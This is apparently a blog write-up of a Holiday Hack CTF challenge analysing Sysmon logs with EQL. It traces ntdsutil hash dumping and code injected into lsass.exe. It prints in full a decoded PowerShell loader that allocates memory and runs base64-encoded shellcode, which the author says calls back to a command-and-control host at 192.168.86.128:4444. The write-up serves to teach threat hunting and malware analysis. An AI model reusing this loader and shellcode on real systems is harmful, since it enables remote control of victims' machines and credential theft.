Objective 4: Windows Log Analysis: Determine Attack Technique
The hints for this challenge are given by SugarPlum Mary in the Hermey Hall (Go to the left side of the quad.) For this one, it gives a link to a file that must be downloaded and examined: https://downloads.elfu.org/sysmon-data.json.zip. SugarPlum Mary’s hint leads to this page: https://www.endgame.com/our-experts/ross-wolf (Please click on the images below if they don't seem large enough to read.)
The hints for this challenge are given by SugarPlum Mary in the Hermey Hall (Go to the left side of the quad.) The hint links are: https://pen-testing.sans.org/blog/2019/12/10/eql-threat-hunting/ and https://www.darkoperator.com/blog/2014/8/8/sysinternals-sysmon
I downloaded the Slingshot VM from here: https://www.sans.org/slingshot-vmware-linux/download#, as described in this article: https://pen-testing.sans.org/blog/2019/12/10/eql-threat-hunting/, because it already has the tool installed. If you decide to download the Slingshot VM, you will have to login to SANS.org with your SANS creds. This VM is in ova format, so it can be opened in a variety of virtualization software. I used Workstation Pro simply because I’m familiar with it and it’s cousin VMWare Fusion. In this software, an ova must be imported. The version I’m using, you simply double click on the downloaded Slingshot image, and it starts the import process. Name the VM, choose somewhere to store it and click Import. The virtualization does the work for you. Once it’s loaded and displayed, login to the VM with the creds slingshot, slingshot. Slingshot is a version of Linux, so you may want to read about the Linux OS to use it.
Interestingly, the answer to this challenge is in the article here: https://pen-testing.sans.org/blog/2019/12/10/eql-threat-hunting/, so people could have guessed the answer. Many attacks use living off the land as an attack technique. That means that they use tools natively installed on the OS to avoid detection. In this case, it was ntdsutil. This natively installed utility can be used to make a backup of the password hashes.
If you search through the logs, some interesting things can be found. A good place to start seemed to be what they were asking for. Try to find lsass.exe. sql query -f sysmon-data.json “process where process_name = ‘lsass.exe’” Unfortunately, this doesn’t return any results. Why? That's because in this case, it's a parent process to cmd.exe. sql query -f sysmon-data.json “process where parent_process_name = ‘lsass.exe’” reveals this. Why on Earth would cmd.exe be being ran out of a parent process of lsass.exe? The Objective question kind of answers it. Something was injected into the lsass.exe process, causing its evil business to appear to be carried out by lsass.exe. What was injected into lsass.exe? Follow the process IDs to answer the Objective. The pid of this cmd.exe process with the parent process of lsass.exe is 3440. So, look for this pid being used as a parent process of another process to answer the Objective question. See, it’s ntdsutil.
For more fun, find out what was injected into lsass.exe. Many modern attacks are performed with powershell.exe because it’s natively installed on Windows 7+ and very powerful. So, look for the powershell.exe process instead of lsass.exe, and you’ll see a strange looking memory resident, base64 encoded, compressed powershell payload. This is commonly done to bypass AV. You can tell it’s encoded because it contains base64, and compressed because it contains gzip. The string with green text is the base64 encoded/gzip compressed stream.
You can decode and decompress the payload to see what it's trying to run in memory. A really useful tool is CyberChef. Simply navigate to https://gchq.github.io/CyberChef/, search for From Base64 Click on it to add it to the recipe, then search for Gunzip, and click on it to add it to the recipe, then add the payload to the input area. Once it’s added, you’ll see the payload that the Powershell payload up above is running from a stream in memory. It's a Powershell script running in memory. Powersheption.
Here is the fully decode/gunzipped script. Googling the base64 payload in this script reveals this article: https://medium.com/@tstillz17/analyzing-obfuscated-powershell-with-shellcode-1b6cb8ab5ab0. The article shows how to decode the next base64 payload, which is actually shell code. Googling the shell code shows that it’s a Powershell Empire C&C that was injected into the lsass.exe process.
Function a2T {
Param ($ic6T, $ylqn)
$cL = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object {$_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll')}).GetType('Microsoft.Win32.UnsafeNativeMethods')
return $cL.GetMethod('GetProcAddress',[Type[]]@([System.Runtime.InteropServices.HandleRef],[String])).Invoke($null,@([System.Runtime.InteropServices.HandleRef](New-Object
System.Runtime.InteropServices.HandleRef((New-Object IntPtr),($cL.GetMethod('GetModuleHandle')).Invoke($null, @($ic6T)))), $ylqn))
}
function iq {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $jd,
[Parameter(Position = 1)] [Type] $v2a = [Void]
)
$mSSG = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')),
[System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule',$false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$mSSG.DefineConstructor('RTSpecialName, HideBySig, Public’, [System.Reflection.CallingConventions]::Standard, $jd).SetImplementationFlags('Runtime, Managed')
$mSSG.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $v2a, $jd).SetImplementationFlags('Runtime, Managed')
return $mSSG.CreateType()
}
[Byte[]]$s2Tyx =
[System.Convert]::FromBase64String("/OiCAAAAYInlMcBki1Awi1IMi1IUi3IoD7dKJjH/rDxhfAIsIMHPDQHH4vJSV4tSEItKPItMEXjjSAHRUYtZIAHTi0kY4zpJizSLAdYx/6zBzw0BxzjgdfYDffg7fSR15FiLWCQB02aLDEuLWBwB04sEiwHQiUQkJFtbYVlaUf/gX19aixLrjV1oMzIAAGh3czJfVGhMdyYHiej/0LiQAQAAKcRUUGgpgGsA/9VqCmjAqFaAaAIAEVyJ5lBQUFBAUEBQaOoP3+D/1ZdqEFZXaJmldGH/1YXAdAr/Tgh17OhnAAAAagBqBFZXaALZyF//1YP4AH42izZqQGgAEAAAVmoAaFikU+X/1ZNTagBWU1doAtnIX//Vg/gAfShYaABAAABqAFBoCy8PMP/VV2h1bk1h/9VeXv8MJA+FcP///+mb////AcMpxnXBw7vgHSoKaKaVvZ3/1TwGfAqA++B1BbtHE3JvagBT/9U=")
$coU = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((a2T kernel32.dll VirtualAlloc), (iq @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $s2Tyx.Length,0x3000,0x40)
[System.Runtime.InteropServices.Marshal]::Copy($s2Tyx, 0, $coU, $s2Tyx.length)
$fM51S = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((a2T kernel32.dll CreateThread), (iq @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr])
([IntPtr]))).Invoke([IntPtr]::Zero,0,$coU,[IntPtr]::Zero,0,[IntPtr]::Zero)
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((a2T kernel32.dll WaitForSingleObject), (iq @([IntPtr], [Int32]))).Invoke($fM51S,0xffffffff) | Out-Null
The following is the Empire C&C payload taken from the decoded payload above.
[Byte[]]$s2Tyx =
[System.Convert]::FromBase64String("/OiCAAAAYInlMcBki1Awi1IMi1IUi3IoD7dKJjH/rDxhfAIsIMHPDQHH4vJSV4tSEItKPItMEXjjSAHRUYtZIAHTi0kY4zpJizSLAdYx/6zBzw0BxzjgdfYDffg7fSR15FiLWCQB02aLDEuLWBwB04sEiwHQiUQkJFtbYVlaUf/gX19aixLrjV1oMzIAAGh3czJfVGhMdyYHiej/0LiQAQAAKcRUUGgpgGsA/9VqCmjAqFaAaAIAEVyJ5lBQUFBAUEBQaOoP3+D/1ZdqEFZXaJmldGH/1YXAdAr/Tgh17OhnAAAAagBqBFZXaALZyF//1YP4AH42izZqQGgAEAAAVmoAaFikU+X/1ZNTagBWU1doAtnIX//Vg/gAfShYaABAAABqAFBoCy8PMP/VV2h1bk1h/9VeXv8MJA+FcP///+mb////AcMpxnXBw7vgHSoKaKaVvZ3/1TwGfAqA++B1BbtHE3JvagBT/9U=")
The following image shows the decoded shell code in hex.
If you run the shell code like the person describes in the article, https://medium.com/@tstillz17/analyzing-obfuscated-powershell-with-shellcode-1b6cb8ab5ab0, with scdbg, you find that the C&C IP is 192.168.86.128 and the port is 4444.
It’s an internal IP. So maybe someone should check and see if that IP is compromised or one that shouldn't be on the network.
No comments:
Post a Comment